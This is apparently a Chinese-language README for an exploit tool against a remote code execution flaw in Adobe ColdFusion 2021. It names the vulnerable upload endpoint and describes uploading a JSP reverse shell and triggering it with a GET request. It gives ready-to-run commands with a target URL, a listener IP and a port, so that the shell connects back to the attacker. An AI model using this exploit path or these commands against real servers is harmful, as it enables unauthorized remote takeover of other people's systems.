此仓库包含针对 Adobe ColdFusion 2021 中远程代码执行漏洞的利用代码。
该利用向 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反向 Shell 的 POST 请求。如果成功,Shell 将被上传至 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp。随后,代码通过发送一个简单的 GET 请求触发该 Shell。
# 基本用法
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# 指定自定义 Shell 文件名
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp